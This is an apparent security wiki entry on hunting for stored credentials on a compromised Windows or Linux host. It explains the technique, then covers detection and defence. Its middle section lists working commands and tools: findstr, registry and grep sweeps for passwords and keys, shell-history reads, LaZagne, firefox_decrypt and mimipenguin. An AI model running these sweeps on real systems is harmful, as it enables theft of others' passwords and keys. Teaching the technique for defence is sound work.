Credential Hunting

Credential hunting is the systematic search for passwords and secrets already present on a compromised machine: config files, scripts, histories, databases, browser stores and credential managers. It exploits no specific flaw; it exploits the habit of leaving credentials written down, and it is often what turns a low-privilege foothold into the next hop.

Why it works. Admins and applications store credentials for convenience: connection strings in web.config, passwords in deployment scripts, keys in .env, tokens in shell history, saved sessions in the browser. Once inside, you just look in the usual places with the system's own tools.

The abuse. On Windows you comb the disk with findstr and the Credential Manager; on Linux, with grep and extension-based search; on both, tools like LaZagne automate dumping known stores.

# Windows: search "password" in common file types and list saved credentials
findstr /SIM /C:"password" *.txt *.ini *.config *.xml *.ps1
cmdkey /list

# Linux: search for private keys and credentials in configs and histories
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null
tail -n5 /home/*/.bash*

# automated: dump known stores (browsers, wifi, etc.)
python3 lazagne.py all

More places to look:

# Windows: full registry sweep and juicy files
reg query HKLM /f password /t REG_SZ /s
dir /s /b *.kdbx *.config unattend.xml web.config 2>nul
# Linux: broad patterns and credential files
grep -rniE 'password|passwd|api[_-]?key|secret|token' /var/www /etc /opt 2>/dev/null
find / \( -name id_rsa -o -name '*.kdbx' -o -name '.env' \) 2>/dev/null
python3 firefox_decrypt.py                        # decrypt the Firefox store
mimipenguin                                        # cleartext credentials from memory (Linux)

Requirements. You just need filesystem access on the compromised host, ideally as the user or service that owns the stores; some (Credential Manager, DPAPI keys) require the user's context. The payoff depends on how careless the environment is.

How to detect it. Individually it is background noise, but the pattern gives it away: bulk, rapid reads of many config files, histories and browser stores by an account that does not normally do so, or the execution of credential-dumping utilities (LaZagne, mimipenguin). On Windows, access to DPAPI and Credential Manager files is a supporting signal (see DPAPI secrets).

Defence. Do not store credentials in cleartext; use secret managers and managed service accounts (gMSA); clean up histories and temp files; and apply least privilege so that even a found credential is of little use. It is a sibling of credentials in source and DPAPI secrets, leads into credential reuse, and relies on password mutation when what you find must be cracked.